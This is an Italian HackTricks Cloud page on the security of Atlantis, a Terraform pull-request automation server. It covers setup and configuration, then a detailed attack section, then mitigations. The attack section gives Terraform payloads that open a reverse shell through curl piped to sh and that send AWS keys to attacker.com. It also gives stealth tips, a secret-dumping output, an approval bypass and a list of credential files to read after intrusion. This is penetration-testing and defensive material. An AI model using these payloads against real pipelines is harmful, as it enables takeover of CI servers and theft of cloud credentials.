Italian - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Atlantis Security

Supporta HackTricks

Informazioni di Base

Atlantis aiuta fondamentalmente a eseguire terraform da Pull Requests dal tuo server git.

Laboratorio Locale

  1. Vai alla pagina delle release di atlantis in https://github.com/runatlantis/atlantis/releases e scarica quella che fa per te.

  2. Crea un token personale (con accesso ai repo) del tuo utente github

  3. Esegui ./atlantis testdrive e verrà creato un demo repo che puoi usare per parlare con atlantis

  4. Puoi accedere alla pagina web in 127.0.0.1:4141

Accesso ad Atlantis

Credenziali del Server Git

Atlantis supporta diversi host git come Github, Gitlab, Bitbucket e Azure DevOps. Tuttavia, per accedere ai repo su queste piattaforme e eseguire azioni, è necessario avere alcuni privilegi di accesso concessi (almeno permessi di scrittura). La documentazione incoraggia a creare un utente su queste piattaforme specificamente per Atlantis, ma alcune persone potrebbero usare account personali.

In ogni caso, dal punto di vista di un attaccante, l'account di Atlantis sarà molto interessante da compromettere.

Webhook

Atlantis utilizza opzionalmente Webhook secrets per convalidare che i webhook ricevuti dal tuo host Git siano legittimi.

Un modo per confermare ciò sarebbe consentire le richieste solo dagli IP del tuo host Git, ma un modo più semplice è utilizzare un Webhook Secret.

Nota che a meno che tu non utilizzi un server github o bitbucket privato, dovrai esporre gli endpoint webhook a Internet.

Atlantis andrà a esporre webhook affinché il server git possa inviargli informazioni. Dal punto di vista di un attaccante, sarebbe interessante sapere se puoi inviargli messaggi.

Credenziali del Provider

Dal documento:

Atlantis esegue Terraform semplicemente eseguendo i comandi terraform plan e apply sul server su cui è ospitato Atlantis. Proprio come quando esegui Terraform localmente, Atlantis ha bisogno di credenziali per il tuo provider specifico.

Sta a te come fornire credenziali per il tuo provider specifico ad Atlantis:

  • Il Helm Chart di Atlantis e il Modulo AWS Fargate hanno i propri meccanismi per le credenziali del provider. Leggi la loro documentazione.

  • Se stai eseguendo Atlantis in un cloud, molti cloud hanno modi per fornire accesso API cloud alle applicazioni in esecuzione su di essi, ad es.:

  • AWS EC2 Roles (Cerca "EC2 Role")

  • GCE Instance Service Accounts

  • Molti utenti impostano variabili di ambiente, ad es. AWS_ACCESS_KEY, dove sta girando Atlantis.

  • Altri creano i file di configurazione necessari, ad es. ~/.aws/credentials, dove sta girando Atlantis.

  • Usa il HashiCorp Vault Provider per ottenere credenziali del provider.

Il container in cui Atlantis è in esecuzione con molta probabilità contiene credenziali privilegiate per i provider (AWS, GCP, Github...) che Atlantis gestisce tramite Terraform.

Pagina Web

Per impostazione predefinita, Atlantis eseguirà una pagina web sulla porta 4141 in localhost. Questa pagina consente solo di abilitare/disabilitare l'applicazione di atlantis e controllare lo stato del piano dei repo e sbloccarli (non consente di modificare le cose, quindi non è molto utile).

Probabilmente non la troverai esposta a Internet, ma sembra che per impostazione predefinita non siano necessarie credenziali per accedervi (e se lo sono atlantis:atlantis sono le predefinite).

Configurazione del Server

La configurazione per atlantis server può essere specificata tramite flag da riga di comando, variabili di ambiente, un file di configurazione o una combinazione dei tre.

I valori sono scelti in quest'ordine:

  1. Flag

  2. Variabili di Ambiente

  3. File di Configurazione

Nota che nella configurazione potresti trovare valori interessanti come token e password.

Configurazione dei Repo

Alcune configurazioni influenzano come vengono gestiti i repo. Tuttavia, è possibile che ogni repo richieda impostazioni diverse, quindi ci sono modi per specificare ciascun repo. Questo è l'ordine di priorità:

  1. File /atlantis.yml. Questo file può essere utilizzato per specificare come atlantis dovrebbe trattare il repo. Tuttavia, per impostazione predefinita, alcune chiavi non possono essere specificate qui senza alcuni flag che lo consentano.

  2. Probabilmente richiesto di essere consentito da flag come allowed_overrides o allow_custom_workflows

  3. Configurazione Lato Server: Puoi passarla con il flag --repo-config ed è un yaml che configura nuove impostazioni per ciascun repo (supportati regex)

  4. Valori predefiniti

Protezioni PR

Atlantis consente di indicare se desideri che il PR sia approvato da qualcun altro (anche se non è impostato nella protezione del branch) e/o essere mergeable (protezioni del branch superate) prima di eseguire l'applicazione. Dal punto di vista della sicurezza, impostare entrambe le opzioni è consigliato.

Nel caso in cui allowed_overrides sia True, queste impostazioni possono essere sovrascritte su ciascun progetto dal file /atlantis.yml.

Script

La configurazione del repo può specificare script da eseguire prima (pre workflow hooks) e dopo (post workflow hooks) che un workflow venga eseguito.

Non c'è alcuna opzione per consentire di specificare questi script nel file repo /atlantis.yml.

Workflow

Nella configurazione del repo (configurazione lato server) puoi specificare un nuovo workflow predefinito, o creare nuovi workflow personalizzati. Puoi anche specificare quali repo possono accedere ai nuovi generati. Poi, puoi consentire al file atlantis.yaml di ciascun repo di specificare il workflow da utilizzare.

Se il flag server side config allow_custom_workflows è impostato su True, i workflow possono essere specificati nel file atlantis.yaml di ciascun repo. È anche potenzialmente necessario che allowed_overrides specifichi anche workflow per sovrascrivere il workflow che verrà utilizzato. Questo darà fondamentalmente RCE nel server di Atlantis a qualsiasi utente che può accedere a quel repo.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Controllo delle Politiche Conftest

Atlantis supporta l'esecuzione di politiche conftest lato server contro l'output del piano. I casi d'uso comuni per utilizzare questo passaggio includono:

  • Negare l'uso di un elenco di moduli

  • Affermare gli attributi di una risorsa al momento della creazione

  • Catturare eliminazioni involontarie di risorse

  • Prevenire rischi per la sicurezza (ad es. esporre porte sicure al pubblico)

Puoi controllare come configurarlo in la documentazione.

Comandi di Atlantis

Nella documentazione puoi trovare le opzioni che puoi utilizzare per eseguire Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Attacchi

Se durante lo sfruttamento trovi questo errore: Error: Error acquiring the state lock

Puoi risolverlo eseguendo:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Modifica della configurazione in una nuova PR

Se hai accesso in scrittura su un repository, sarai in grado di creare un nuovo branch e generare una PR. Se puoi eseguire atlantis plan (o forse viene eseguito automaticamente) sarai in grado di RCE all'interno del server Atlantis.

Puoi farlo facendo caricare ad Atlantis una fonte di dati esterna. Basta inserire un payload come il seguente nel file main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Attacco più furtivo

Puoi eseguire questo attacco anche in modo più furtivo, seguendo questi suggerimenti:

  • Invece di aggiungere direttamente la rev shell nel file terraform, puoi caricare una risorsa esterna che contiene la rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Puoi trovare il codice rev shell in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Nella risorsa esterna, usa la funzione ref per nascondere il codice rev shell terraform in un branch all'interno del repo, qualcosa come: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Invece di creare una PR per master per attivare Atlantis, crea 2 branch (test1 e test2) e crea una PR da uno all'altro. Quando hai completato l'attacco, basta rimuovere la PR e i branch.

Dump dei segreti del piano di Atlantis

Puoi dumpare i segreti usati da terraform eseguendo atlantis plan (terraform plan) mettendo qualcosa del genere nel file terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Modifica della configurazione in una nuova PR

Se hai accesso in scrittura su un repository, sarai in grado di creare un nuovo branch e generare una PR. Se puoi eseguire atlantis apply, sarai in grado di RCE all'interno del server Atlantis.

Tuttavia, di solito dovrai bypassare alcune protezioni:

  • Mergeable: Se questa protezione è impostata in Atlantis, puoi eseguire atlantis apply solo se la PR è mergeable (il che significa che la protezione del branch deve essere bypassata).

  • Controlla i potenziali bypass delle protezioni del branch

  • Approved: Se questa protezione è impostata in Atlantis, un altro utente deve approvare la PR prima che tu possa eseguire atlantis apply

  • Per impostazione predefinita, puoi abusare del token Gitbot per bypassare questa protezione

Eseguendo terraform apply su un file Terraform malevolo con local-exec. Devi solo assicurarti che un payload come i seguenti termini nel file main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Segui le suggerimenti della tecnica precedente per eseguire questo attacco in modo più furtivo.

Iniezione di Parametri Terraform

Quando si esegue atlantis plan o atlantis apply, terraform viene eseguito sotto, puoi passare comandi a terraform da atlantis commentando qualcosa come:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Qualcosa che puoi passare sono le variabili di ambiente che potrebbero essere utili per bypassare alcune protezioni. Controlla le variabili di ambiente di terraform in https://www.terraform.io/cli/config/environment-variables

Workflow personalizzato

Esecuzione di comandi di build personalizzati malevoli specificati in un file atlantis.yaml. Atlantis utilizza il file atlantis.yaml dal ramo della pull request, non da master. Questa possibilità è stata menzionata in una sezione precedente:

Se il flag di configurazione lato server allow_custom_workflows è impostato su True, i workflow possono essere specificati nel file atlantis.yaml di ciascun repo. È anche potenzialmente necessario che allowed_overrides specifichi anche workflow per sovrascrivere il workflow che verrà utilizzato.

Questo darà fondamentalmente RCE nel server di Atlantis a qualsiasi utente che può accedere a quel repo.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Bypass delle protezioni di piano/applicazione

Se il flag server side config allowed_overrides ha configurato apply_requirements, è possibile per un repo modificare le protezioni di piano/applicazione per bypassarle.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Se qualcuno invia commenti atlantis plan/apply sulle tue pull request valide, farà sì che terraform venga eseguito quando non lo desideri.

Inoltre, se non hai configurato nella protezione del branch di chiedere di ri-valutare ogni PR quando viene inviato un nuovo commit su di essa, qualcuno potrebbe scrivere configurazioni dannose (controlla gli scenari precedenti) nella configurazione di terraform, eseguire atlantis plan/apply e ottenere RCE.

Questa è la configurazione nelle protezioni dei branch di Github:

Webhook Secret

Se riesci a rubare il webhook secret utilizzato o se non viene utilizzato alcun webhook secret, potresti chiamare il webhook di Atlantis e invoCare i comandi di atlantis direttamente.

Bitbucket

Bitbucket Cloud non supporta i webhook secret. Questo potrebbe consentire agli attaccanti di falsificare richieste da Bitbucket. Assicurati di consentire solo gli IP di Bitbucket.

  • Questo significa che un attaccante potrebbe fare richieste false a Atlantis che sembrano provenire da Bitbucket.

  • Se stai specificando --repo-allowlist, allora potrebbero solo falsificare richieste relative a quei repo, quindi il danno maggiore che potrebbero causare sarebbe pianificare/applicare sui tuoi stessi repo.

  • Per prevenire ciò, consenti solo gli indirizzi IP di Bitbucket (vedi indirizzi IPv4 in uscita).

Post-Exploitation

Se sei riuscito ad accedere al server o almeno hai ottenuto un LFI, ci sono alcune cose interessanti che dovresti provare a leggere:

  • /home/atlantis/.git-credentials Contiene le credenziali di accesso vcs

  • /atlantis-data/atlantis.db Contiene le credenziali di accesso vcs con ulteriori informazioni

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate File di stato di Terraform

  • Esempio: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Variabili d'ambiente

  • /proc/[2-20]/cmdline Linea di comando di atlantis server (potrebbe contenere dati sensibili)

Mitigazioni

Non Usare Su Repo Pubblici

Poiché chiunque può commentare su pull request pubbliche, anche con tutte le mitigazioni di sicurezza disponibili, è comunque pericoloso eseguire Atlantis su repo pubblici senza una corretta configurazione delle impostazioni di sicurezza.

Non Usare --allow-fork-prs

Se stai eseguendo su un repo pubblico (cosa non raccomandata, vedi sopra) non dovresti impostare --allow-fork-prs (di default è false) perché chiunque può aprire una pull request dal proprio fork al tuo repo.

--repo-allowlist

Atlantis richiede di specificare una lista di autorizzazione di repository da cui accetterà webhook tramite il flag --repo-allowlist. Ad esempio:

  • Repository specifici: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • L'intera tua organizzazione: --repo-allowlist=github.com/runatlantis/*

  • Ogni repository nella tua installazione di GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*

  • Tutti i repository: --repo-allowlist=*. Utile quando sei in una rete protetta ma pericoloso senza impostare anche un webhook secret.

Questo flag garantisce che la tua installazione di Atlantis non venga utilizzata con repository che non controlli. Vedi atlantis server --help per ulteriori dettagli.

Proteggi la Pianificazione di Terraform

Se gli attaccanti inviano pull request con codice Terraform dannoso è nel tuo modello di minaccia, allora devi essere consapevole che le approvazioni di terraform apply non sono sufficienti. È possibile eseguire codice dannoso in un terraform plan utilizzando la external data source o specificando un provider dannoso. Questo codice potrebbe quindi esfiltrare le tue credenziali.

Per prevenire ciò, potresti:

  1. Includere i provider nell'immagine di Atlantis o ospitarli e negare l'uscita in produzione.

  2. Implementare internamente il protocollo del registro dei provider e negare l'uscita pubblica, in questo modo controlli chi ha accesso in scrittura al registro.

  3. Modificare il passo plan della tua configurazione del repo lato server per convalidare l'uso di provider o data source non consentiti o PR da utenti non autorizzati. Potresti anche aggiungere una convalida extra a questo punto, ad esempio richiedendo un "pollice in su" sulla PR prima di consentire la continuazione del plan. Conftest potrebbe essere utile qui.

Webhook Secrets

Atlantis dovrebbe essere eseguito con i webhook secret impostati tramite le variabili d'ambiente $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Anche con il flag --repo-allowlist impostato, senza un webhook secret, gli attaccanti potrebbero fare richieste a Atlantis spacciandosi per un repository autorizzato. I webhook secret garantiscono che le richieste webhook provengano effettivamente dal tuo fornitore VCS (GitHub o GitLab).

Se stai usando Azure DevOps, invece dei webhook secret, aggiungi un nome utente e una password di base.

Autenticazione di Base di Azure DevOps

Azure DevOps supporta l'invio di un'intestazione di autenticazione di base in tutti gli eventi webhook. Questo richiede l'uso di un URL HTTPS per la tua posizione webhook.

SSL/HTTPS

Se stai usando webhook secret ma il tuo traffico è su HTTP, allora i webhook secret potrebbero essere rubati. Abilita SSL/HTTPS utilizzando i flag --ssl-cert-file e --ssl-key-file.

Abilita l'Autenticazione sul Server Web di Atlantis

È molto raccomandato abilitare l'autenticazione nel servizio web. Abilita BasicAuth utilizzando --web-basic-auth=true e imposta un nome utente e una password utilizzando i flag --web-username=yourUsername e --web-password=yourPassword.

Puoi anche passare questi come variabili d'ambiente ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername e ATLANTIS_WEB_PASSWORD=yourPassword.

Riferimenti

Supporta HackTricks
PreviousTerraform SecurityNextCloudflare Security

Last updated